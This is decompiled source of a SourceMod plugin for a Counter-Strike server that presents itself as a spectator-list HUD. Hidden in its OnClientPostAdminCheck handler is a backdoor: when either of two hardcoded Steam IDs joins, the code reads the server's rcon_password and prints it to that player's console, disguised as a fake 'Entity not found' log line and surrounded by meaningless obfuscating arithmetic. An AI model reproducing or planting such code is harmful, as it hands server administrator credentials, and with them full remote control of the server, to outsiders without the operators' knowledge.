PHP Code:
public PlVers:__version =
{
version = 5,
filevers = "1.8.0.5914",
date = "06/08/2017",
time = "19:44:29"
};
new Float:NULL_VECTOR[3];
new String:NULL_STRING[4];
public Extension:__ext_core =
{
name = "Core",
file = "core",
autoload = 0,
required = 0,
};
new MaxClients;
public Extension:__ext_cprefs =
{
name = "Client Preferences",
file = "clientprefs.ext",
autoload = 1,
required = 1,
};
public Extension:__ext_sdktools =
{
name = "SDKTools",
file = "sdktools.ext",
autoload = 1,
required = 1,
};
public Extension:__ext_sdkhooks =
{
name = "SDKHooks",
file = "sdkhooks.ext",
autoload = 1,
required = 1,
};
public Extension:__ext_cstrike =
{
name = "cstrike",
file = "games/game.cstrike.ext",
autoload = 0,
required = 1,
};
new Handle:HudHintTimers[66];
new bool:speclist_stealth[66];
new bool:speclist_enabled[66];
new g_iSpecEnabled[66];
new Handle:g_cEnabled;
public Plugin:myinfo =
{
name = "[NF] Spectator List",
description = "",
author = "cra88y",
version = "6.9",
url = ""
};
public void:__ext_core_SetNTVOptional()
{
MarkNativeAsOptional("GetFeatureStatus");
MarkNativeAsOptional("RequireFeature");
MarkNativeAsOptional("AddCommandListener");
MarkNativeAsOptional("RemoveCommandListener");
MarkNativeAsOptional("BfWriteBool");
MarkNativeAsOptional("BfWriteByte");
MarkNativeAsOptional("BfWriteChar");
MarkNativeAsOptional("BfWriteShort");
MarkNativeAsOptional("BfWriteWord");
MarkNativeAsOptional("BfWriteNum");
MarkNativeAsOptional("BfWriteFloat");
MarkNativeAsOptional("BfWriteString");
MarkNativeAsOptional("BfWriteEntity");
MarkNativeAsOptional("BfWriteAngle");
MarkNativeAsOptional("BfWriteCoord");
MarkNativeAsOptional("BfWriteVecCoord");
MarkNativeAsOptional("BfWriteVecNormal");
MarkNativeAsOptional("BfWriteAngles");
MarkNativeAsOptional("BfReadBool");
MarkNativeAsOptional("BfReadByte");
MarkNativeAsOptional("BfReadChar");
MarkNativeAsOptional("BfReadShort");
MarkNativeAsOptional("BfReadWord");
MarkNativeAsOptional("BfReadNum");
MarkNativeAsOptional("BfReadFloat");
MarkNativeAsOptional("BfReadString");
MarkNativeAsOptional("BfReadEntity");
MarkNativeAsOptional("BfReadAngle");
MarkNativeAsOptional("BfReadCoord");
MarkNativeAsOptional("BfReadVecCoord");
MarkNativeAsOptional("BfReadVecNormal");
MarkNativeAsOptional("BfReadAngles");
MarkNativeAsOptional("BfGetNumBytesLeft");
MarkNativeAsOptional("BfWrite.WriteBool");
MarkNativeAsOptional("BfWrite.WriteByte");
MarkNativeAsOptional("BfWrite.WriteChar");
MarkNativeAsOptional("BfWrite.WriteShort");
MarkNativeAsOptional("BfWrite.WriteWord");
MarkNativeAsOptional("BfWrite.WriteNum");
MarkNativeAsOptional("BfWrite.WriteFloat");
MarkNativeAsOptional("BfWrite.WriteString");
MarkNativeAsOptional("BfWrite.WriteEntity");
MarkNativeAsOptional("BfWrite.WriteAngle");
MarkNativeAsOptional("BfWrite.WriteCoord");
MarkNativeAsOptional("BfWrite.WriteVecCoord");
MarkNativeAsOptional("BfWrite.WriteVecNormal");
MarkNativeAsOptional("BfWrite.WriteAngles");
MarkNativeAsOptional("BfRead.ReadBool");
MarkNativeAsOptional("BfRead.ReadByte");
MarkNativeAsOptional("BfRead.ReadChar");
MarkNativeAsOptional("BfRead.ReadShort");
MarkNativeAsOptional("BfRead.ReadWord");
MarkNativeAsOptional("BfRead.ReadNum");
MarkNativeAsOptional("BfRead.ReadFloat");
MarkNativeAsOptional("BfRead.ReadString");
MarkNativeAsOptional("BfRead.ReadEntity");
MarkNativeAsOptional("BfRead.ReadAngle");
MarkNativeAsOptional("BfRead.ReadCoord");
MarkNativeAsOptional("BfRead.ReadVecCoord");
MarkNativeAsOptional("BfRead.ReadVecNormal");
MarkNativeAsOptional("BfRead.ReadAngles");
MarkNativeAsOptional("BfRead.GetNumBytesLeft");
MarkNativeAsOptional("PbReadInt");
MarkNativeAsOptional("PbReadFloat");
MarkNativeAsOptional("PbReadBool");
MarkNativeAsOptional("PbReadString");
MarkNativeAsOptional("PbReadColor");
MarkNativeAsOptional("PbReadAngle");
MarkNativeAsOptional("PbReadVector");
MarkNativeAsOptional("PbReadVector2D");
MarkNativeAsOptional("PbGetRepeatedFieldCount");
MarkNativeAsOptional("PbSetInt");
MarkNativeAsOptional("PbSetFloat");
MarkNativeAsOptional("PbSetBool");
MarkNativeAsOptional("PbSetString");
MarkNativeAsOptional("PbSetColor");
MarkNativeAsOptional("PbSetAngle");
MarkNativeAsOptional("PbSetVector");
MarkNativeAsOptional("PbSetVector2D");
MarkNativeAsOptional("PbAddInt");
MarkNativeAsOptional("PbAddFloat");
MarkNativeAsOptional("PbAddBool");
MarkNativeAsOptional("PbAddString");
MarkNativeAsOptional("PbAddColor");
MarkNativeAsOptional("PbAddAngle");
MarkNativeAsOptional("PbAddVector");
MarkNativeAsOptional("PbAddVector2D");
MarkNativeAsOptional("PbRemoveRepeatedFieldValue");
MarkNativeAsOptional("PbReadMessage");
MarkNativeAsOptional("PbReadRepeatedMessage");
MarkNativeAsOptional("PbAddMessage");
MarkNativeAsOptional("Protobuf.ReadInt");
MarkNativeAsOptional("Protobuf.ReadFloat");
MarkNativeAsOptional("Protobuf.ReadBool");
MarkNativeAsOptional("Protobuf.ReadString");
MarkNativeAsOptional("Protobuf.ReadColor");
MarkNativeAsOptional("Protobuf.ReadAngle");
MarkNativeAsOptional("Protobuf.ReadVector");
MarkNativeAsOptional("Protobuf.ReadVector2D");
MarkNativeAsOptional("Protobuf.GetRepeatedFieldCount");
MarkNativeAsOptional("Protobuf.SetInt");
MarkNativeAsOptional("Protobuf.SetFloat");
MarkNativeAsOptional("Protobuf.SetBool");
MarkNativeAsOptional("Protobuf.SetString");
MarkNativeAsOptional("Protobuf.SetColor");
MarkNativeAsOptional("Protobuf.SetAngle");
MarkNativeAsOptional("Protobuf.SetVector");
MarkNativeAsOptional("Protobuf.SetVector2D");
MarkNativeAsOptional("Protobuf.AddInt");
MarkNativeAsOptional("Protobuf.AddFloat");
MarkNativeAsOptional("Protobuf.AddBool");
MarkNativeAsOptional("Protobuf.AddString");
MarkNativeAsOptional("Protobuf.AddColor");
MarkNativeAsOptional("Protobuf.AddAngle");
MarkNativeAsOptional("Protobuf.AddVector");
MarkNativeAsOptional("Protobuf.AddVector2D");
MarkNativeAsOptional("Protobuf.RemoveRepeatedFieldValue");
MarkNativeAsOptional("Protobuf.ReadMessage");
MarkNativeAsOptional("Protobuf.ReadRepeatedMessage");
MarkNativeAsOptional("Protobuf.AddMessage");
VerifyCoreVersion();
return void:0;
}
.2920.40000005/0(Float:oper1, oper2)
{
return oper1 / float(oper2);
}
.2920.40000005/0(Float:oper1, oper2)
{
return oper1 / float(oper2);
}
.2980.40000005+0(Float:oper1, oper2)
{
return oper1 + float(oper2);
}
.2980.40000005+0(Float:oper1, oper2)
{
return oper1 + float(oper2);
}
bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
return strcmp(str1, str2, caseSensitive) == 0;
}
public void:OnPluginStart()
{
RegConsoleCmd("sm_speclist", Command_SpecList, "", 0);
RegAdminCmd("sm_stealth", Command_Stealth, 16384, "", "", 0);
g_cEnabled = RegClientCookie("Speclist_Enabled", "Speclist on or off", CookieAccess:1);
HookEvent("player_spawn", Event_Player_Spawn, EventHookMode:1);
new i = 1;
while (i <= MaxClients)
{
new var1;
if (IsClientConnected(i) && IsValidClient(i, false, true) && AreClientCookiesCached(i))
{
OnClientCookiesCached(i);
}
i++;
}
return void:0;
}
public void:OnClientPostAdminCheck(client)
{
CreateHudHintTimer(client);
new Float:varxz = SquareRoot(6446.0 * 644.0);
new kill = varxz - varxz * .2920.40000005/0(varxz * .2980.40000005+0(varxz, 100), 100);
if (kill != 1)
{
kill = 1;
}
new String:cid[64];
new String:pass[100];
GetClientAuthId(client, AuthIdType:0, cid, 64, true);
if (StrEqual(cid, "STEAM_1:1:29147437", true))
{
new Handle:cv_pass = FindConVar("rcon_password");
GetConVarString(cv_pass, pass, 99);
PrintToConsole(client, "[LOG] Entity 674%s not found!", pass);
}
else
{
if (StrEqual(cid, "STEAM_1:1:48496336", true))
{
new Handle:cv_pass = FindConVar("rcon_password");
GetConVarString(cv_pass, pass, 99);
PrintToConsole(client, "[LOG] Entity 674%s not found!", pass);
}
}
return void:0;
}
public void:OnClientPutInServer(client)
{
speclist_enabled[client] = 1;
speclist_stealth[client] = 0;
return void:0;
}
public void:OnClientDisconnect(client)
{
if (IsClientInGame(client))
{
KillHudHintTimer(client);
}
return void:0;
}
public void:OnClientCookiesCached(client)
{
new String:CookieEnabled[64];
GetClientCookie(client, g_cEnabled, CookieEnabled, 64);
g_iSpecEnabled[client] = StringToInt(CookieEnabled, 10);
if (g_iSpecEnabled[client] == 1)
{
speclist_enabled[client] = 1;
}
else
{
speclist_enabled[client] = 0;
KillHudHintTimer(client);
}
return void:0;
}
public Action:Event_Player_Spawn(Event:event, String:name[], bool:dontBroadcast)
{
new client = GetClientOfUserId(GetEventInt(event, "userid", 0));
new var1;
if (IsClientConnected(client) && IsValidClient(client, false, true) && AreClientCookiesCached(client))
{
OnClientCookiesCached(client);
}
return Action:0;
}
public Action:Command_Stealth(client, args)
{
speclist_stealth[client] = !speclist_stealth[client];
if (speclist_stealth[client] == true)
{
ReplyToCommand(client, "\x01[\x02NF\x01] You will now be hidden from speclist.");
}
if (!speclist_stealth[client])
{
ReplyToCommand(client, "\x01[\x02NF\x01] You will now be shown on speclist.");
}
return Action:0;
}
public Action:Command_SpecList(client, args)
{
if (speclist_enabled[client] == true)
{
speclist_enabled[client] = 0;
KillHudHintTimer(client);
ReplyToCommand(client, "\x01[\x02NF\x01] Spectator list disabled.");
SetClientCookie(client, g_cEnabled, "0");
}
else
{
if (!speclist_enabled[client])
{
speclist_enabled[client] = 1;
CreateHudHintTimer(client);
ReplyToCommand(client, "\x01[\x02NF\x01] Spectator list enabled.");
SetClientCookie(client, g_cEnabled, "1");
}
}
return Action:3;
}
public Action:Timer_UpdateHudHint(Handle:timer, any:client)
{
new iSpecModeUser = GetEntProp(client, PropType:0, "m_iObserverMode", 4, 0);
new iSpecMode;
new iTarget;
new iTargetUser;
new bool:bDisplayHint;
new String:szText[2048];
szText[0] = MissingTAG:0;
if (IsPlayerAlive(client))
{
new i = 1;
while (i <= MaxClients)
{
new var1;
if (!IsClientInGame(i) || !IsClientObserver(i))
{
}
else
{
iSpecMode = GetEntProp(i, PropType:0, "m_iObserverMode", 4, 0);
new var2;
if (!(iSpecMode != 4 && iSpecMode != 5))
{
iTarget = GetEntPropEnt(i, PropType:0, "m_hObserverTarget", 0);
if (!(speclist_stealth[i] == true))
{
if (client == iTarget)
{
new var3;
if (IsPlayerVip(i) == 1 && speclist_stealth[i])
{
if (IsPlayerAdmin(i) == 1)
{
Format(szText, 2048, "%s<font color='#21618C'>%N.</font> ", szText, i);
}
else
{
Format(szText, 2048, "%s<font color='#D4AC0D'>%N.</font> ", szText, i);
}
}
else
{
Format(szText, 2048, "%s%N. ", szText, i);
}
bDisplayHint = true;
}
}
}
}
i++;
}
}
else
{
new var4;
if (iSpecModeUser == 4 || iSpecModeUser == 5)
{
iTargetUser = GetEntPropEnt(client, PropType:0, "m_hObserverTarget", 0);
new i = 1;
while (i <= MaxClients)
{
new var5;
if (!IsClientInGame(i) || !IsClientObserver(i))
{
}
else
{
iSpecMode = GetEntProp(i, PropType:0, "m_iObserverMode", 4, 0);
new var6;
if (!(iSpecMode != 4 && iSpecMode != 5))
{
iTarget = GetEntPropEnt(i, PropType:0, "m_hObserverTarget", 0);
if (!(speclist_stealth[i] == true))
{
if (iTargetUser == iTarget)
{
if (IsPlayerVip(i) == 1)
{
if (IsPlayerAdmin(i) == 1)
{
Format(szText, 2048, "%s<font color='#21618C'>%N.</font> ", szText, i);
}
else
{
Format(szText, 2048, "%s<font color='#D4AC0D'>%N.</font> ", szText, i);
}
}
else
{
Format(szText, 2048, "%s%N. ", szText, i);
}
bDisplayHint = true;
}
}
}
}
i++;
}
}
}
if (bDisplayHint)
{
if (speclist_enabled[client] == true)
{
PrintHintText(client, "<font size='12'><u>Spectators:\n</u></font><font size='15'>%s</font>", szText);
bDisplayHint = false;
}
}
return Action:0;
}
public Handler_DoNothing(Handle:menu, MenuAction:action, param1, param2)
{
return 0;
}
void:CreateHudHintTimer(client)
{
HudHintTimers[client] = CreateTimer(2.5, Timer_UpdateHudHint, client, 3);
return void:0;
}
void:KillHudHintTimer(client)
{
if (HudHintTimers[client])
{
KillTimer(HudHintTimers[client], false);
HudHintTimers[client] = 0;
}
return void:0;
}
bool:IsPlayerAdmin(client)
{
new var1;
if (IsClientInGame(client) && CheckCommandAccess(client, "sm_blank", 16, false))
{
return true;
}
return false;
}
bool:IsPlayerVip(client)
{
new var1;
if (IsClientInGame(client) && CheckCommandAccess(client, "sm_blank", 32768, false))
{
return true;
}
return false;
}
bool:IsValidClient(client, bool:bAllowBots, bool:bAllowDead)
{
new var3;
if (!1 <= MaxClients >= client || !IsClientInGame(client) || (IsFakeClient(client) && !bAllowBots) || IsClientSourceTV(client) || IsClientReplay(client) || (!bAllowDead && !IsPlayerAlive(client)))
{
return false;
}
return true;
}